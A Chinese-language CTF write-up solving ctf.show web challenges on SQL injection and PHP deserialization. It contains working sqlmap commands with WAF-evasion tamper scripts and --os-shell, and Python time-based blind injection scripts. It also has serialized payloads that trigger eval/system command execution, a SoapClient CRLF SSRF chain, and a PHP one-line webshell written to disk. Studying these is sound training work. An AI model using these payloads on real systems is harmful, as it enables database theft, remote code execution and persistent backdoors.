基本和上面一样,改一下表名列名就好了。

1
sqlmap -u "http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/getToken.php --safe-freq 1

web207

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/

1
sqlmap -u "http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

web208

虽然过滤了小写的select,但是sqlmap都是使用的大写,所以用上一题就可以了

1
sqlmap -u "http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

web209

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

过滤空格和*还有=

可以用equaltolike.py用LIKE代替等号

*的话,上面的tamper用不了了,可以改一下,改用编码%9代替空格

可以改一下,网上抄一个现成的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue

elif payload[i] == "*":
retVal += chr(0x31)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal


然后同时使用ctfshow209.py

1
sqlmap -u "http://d7ce3c3a-3bac-46d0-b1e4-88005a3dec1b.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://d7ce3c3a-3bac-46d0-b1e4-88005a3dec1b.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper  "ctfshow209.py"

web210

1
2
3
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

解密反转解密再反转,也就是说我们需要将payload见加密再反转再加密反转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')


return retVal

1
sqlmap -u "http://48c4d879-eb47-4dbf-a064-308decfe2366.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://48c4d879-eb47-4dbf-a064-308decfe2366.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch --tamper ctfshow210.py

web211

在上题的基础上加了个空格过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = retVal.replace(' ',chr(0x09))
retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')


return retVal

web212

同上

web213

加个参数–os-shell方便读文件(flag在文件里)

1
sqlmap -u "http://36a5122c-292e-4e0d-9ba5-5bbd26105ead.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://36a5122c-292e-4e0d-9ba5-5bbd26105ead.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper "ctfshow210.py" --os-shell

web214

这也没注入点吧。。。

1
2
3
4
5
6
7
8
9
10
11
GET /time.php HTTP/1.1
Host: 54d082df-796f-4377-a9c9-fa832d1ba1f3.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://54d082df-796f-4377-a9c9-fa832d1ba1f3.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=631qkfc103fi7rvrbll0jqibuq
Connection: close

看别的wp注入点是ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# @Author:yu22x
import requests
url = "http://9fdb207d-9182-46ee-b9bc-cf3f4f231d17.challenge.ctf.show/api/"
s='0123456789abcdef-}'
flag='ctfshow{'

for i in range(9,50):
print(i)
for j in s:
'''
data = {
'ip' : f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
data = {
'ip' : f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
'''
data = {
'ip' : f"if(ascii(substr((select flaga from `ctfshow_flagx`),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
try:
r = requests.post(url, data, timeout=2)
except:
flag+=j
print(flag)
break


web215

题目描述:用了单引号

稍微改一下就行了,加上单引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import requests

url = "http://431191e5-306e-4490-a6a3-51afeb27314b.challenge.ctf.show/api/"
s='0123456789abcdef-}'
flag='ctfshow{'

for i in range(9,50):
print(i)
for j in s:
'''
data = {
'ip' : f"'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
data = {
'ip' : f"'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
'''
data = {
'ip' : f"'||if(ascii(substr((select flagaa from `ctfshow_flagxc`),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
try:
r = requests.post(url, data, timeout=2)
except:
flag+=j
print(flag)
break

web216

1
where id = from_base64($id);

加个)闭合掉,但id值不能为空,随便输个值就好了

羽师傅的脚本真好用~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# @Author:yu22x
import requests

url = "http://c18edd79-c6d8-4134-bd6b-02721bff171d.challenge.ctf.show/api/"
s='0123456789abcdef-}'
flag='ctfshow{'

for i in range(9,50):
print(i)
for j in s:
'''
data = {
'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
data = {
'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
'''
data = {
'ip' : f"1)||if(ascii(substr((select flagaac from `ctfshow_flagxcc`),{i},1))={ord(j)},sleep(3),1)#",
'debug' : '0'
}
try:
r = requests.post(url, data, timeout=2)
except:
flag+=j
print(flag)
break


web217

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}

过滤slepp,可以用

1
2
benchmark(6666666,md5(1))
第一个参数指的是执行次数、第二参数指的是执行语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# @Author:yu22x
import requests
import time
url = "http://440a4507-cae0-4e33-b178-bf580f8551ee.challenge.ctf.show/api/"
s='0123456789abcdef-}'
flag='ctfshow{'

for i in range(9,50):
print(i)
for j in s:
'''
data = {
'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},benchmark(5000000,md5('yu22x'),1)#",
'debug' : '0'
}
data = {
'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))={ord(j)},benchmark(5000000,md5('yu22x'),1)#",
'debug' : '0'
}
'''
data = {
'ip' : f"0)||if(ascii(substr((select flagaabc from `ctfshow_flagxccb`),{i},1))={ord(j)},benchmark(5000000,md5('yu22x')),1)#",
'debug' : '0'
}
time.sleep(0.4)
try:
r = requests.post(url, data, timeout=2)
except:
flag+=j
print(flag)
break


如果会被服务跑崩,就改大一点time.sleep

web218

反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}




连序列化入口都没有,估计还没正式开始考察反序列化,只需要传入

1
?username=xxxxxx&password=xxxxxx

就可以了

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php


error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

需要

1
?username=xxxxxx&password=xxxxxx

同时当验证成功时,它不会像上一题那也设置$this->isVip=true;,但这里的public $isVip=false;是public的,通过反序列化来实现

1
2
3
$user = new ctfShowUser();
$user ->isVip = true;
echo urlencode(serialize($user));

同时只有类和变量会被反序列化,其他都可以去掉,所以也可以这样

由于cookie中将"作为截断符号,需要编码绕过

1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;

}
echo(urlencode(serialize(new ctfShowUser())));
?>

payload

1
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

相比上题多了这个判断

1
if($this->username!==$this->password)

传入的username和password值不同就行了

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
}
echo(urlencode(serialize(new ctfShowUser())));
?>
1
?username=1&password=2

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

可以看到backDoor的getInfo()可以执行代码,但是这里的construct方法会初始化info()这个类(construct方法在初始化一个类的时候被触发),然后destruct方法触发会调用info()类中的getInfo方法(在销毁时候触发destruct方法,),然后返回user对象的值,也就是说,按它正常的流程,我们无法调用backDoor类的getInfo()来执行代码。

但在序列化的时候把__construct方法初始化的类从info改为backDoor就可以成功调用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo(urlencode(serialize(new ctfShowUser())));
1
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web258

考查加号绕过正则(利用 unserialize 函数的一个特性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

//:正则表达式通常用斜杠字符 / 包围,表示正则表达式的开始和结束。

[oc]:这是一个字符类,它匹配单个字符。在这里,它匹配字符 “o” 或 “c”。

::匹配冒号字符 “:”。

\d+:这是一个匹配一个或多个数字的表达式。

::再次匹配冒号字符 “:”。

i:这是一个标志,表示正则表达式是不区分大小写的,即它会匹配 “O:1:”、”C:456:”、”Oc:789:” 等等。

可以在数字前加上加号绕过,比如

1
O:+1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);
1
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

web259

参考wp:从一道题学习SoapClient与CRLF组合拳_soapclient引发crlf_Y4tacker的博客-CSDN博客

考点:利用 SoapClient + CRLF 实现 SSRF,构造请求访问 flag.php

关于CRLF注入攻击
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

1
2
3
4
5
6
7
8
9
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

$vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行,原生类SoapClient类内置了call方法(想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项),一些解释

flag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

看了这个flag.php的源码,可能会疑惑,为什么不直接设置xff头为127.0.0.1来绕过限制 呢,而是要采用那么复杂的方法

维护代理服务器和原始访问者IP地址。

如果发送到Cloudflare的请求中不含现有的X-Forwarded-For标头,X-Forwarded-For将具有与CF-Connecting-IP标头相同的值:

1
示例: X-Forwarded-For:203.0.113.1

如果发送到Cloudflare 的请求中已存在X-Forwarded-For标头,则Cloudflare会将HTTP代理的IP地址附加到这个标头:

1
示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.10

现在再看flag.php的源码,在本题的环境由于使用了Cloudflare代理导致,Cloudflare会将HTTP代理的IP地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP,也就是203.0.113.1,始终无法是127.0.0.1

因此才需要SoapClient + CRLF 实现 SSRF

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

//运行结果
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

$vip = unserialize($_GET['vip']);也就就是$vip = new SoapClient(n...,...)

这里只是简单的给出payload,实际还需要测试判断哪个部分可控(本题中SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,从而控制POST请求的header)

可以用requestbin测试

1
2
3
4
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://requestbin.net/r/1jm1cxz1'));
$b = serialize($a);
echo urlencode($b);

还有就是,post传参时需要Content-Typ为application/x-www-form-urlencoded

web260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

能匹配ctfshow_i_love_36D就行了

1
2
3
4
5
6
7
8
9
10
<?php
class aaa{
public $bbb = 'ctfshow_i_love_36D';
}
$a = serialize(new aaa());
echo ($a);
echo urlencode($a);
?>
// O:3:"aaa":1:{s:3:"bbb";s:18:"ctfshow_i_love_36D";}
// O%3A3%3A%22aaa%22%3A1%3A%7Bs%3A3%3A%22bbb%22%3Bs%3A18%3A%22ctfshow_i_love_36D%22%3B%7D

web261

让我们打Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

如果类中同时定义了 __unserialize() __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:此特性自 PHP 7.4.0 起可用。

code的值在__unserialize()反序列化时被赋值,又因为$this->code==0x36d,所以usernam的值要以877开头(877是0x36d的十进制),令username=877.php,password等于一句话木马即可,这样会写入一个877.php内容是一句话

这里877.php==877是成立的(弱类型比较)

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshowvip{
public $username = "877.php";
public $password = "<?php @eval(\$_POST[a]);";
}
$a = new ctfshowvip();

echo urlencode(serialize($a));
// O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

一开始没搞懂怎么做,能看到提示message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

payload

1
2
3
4
5
6
7
8
9
<?php

class message{
public $token='admin';
}

$a = new message();
echo base64_encode(serialize($a));
// Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

也可以用反序列化字符串逃逸来做

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class message{
public $from='1';
public $msg='2';
public $to='3';
public $token='admin';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

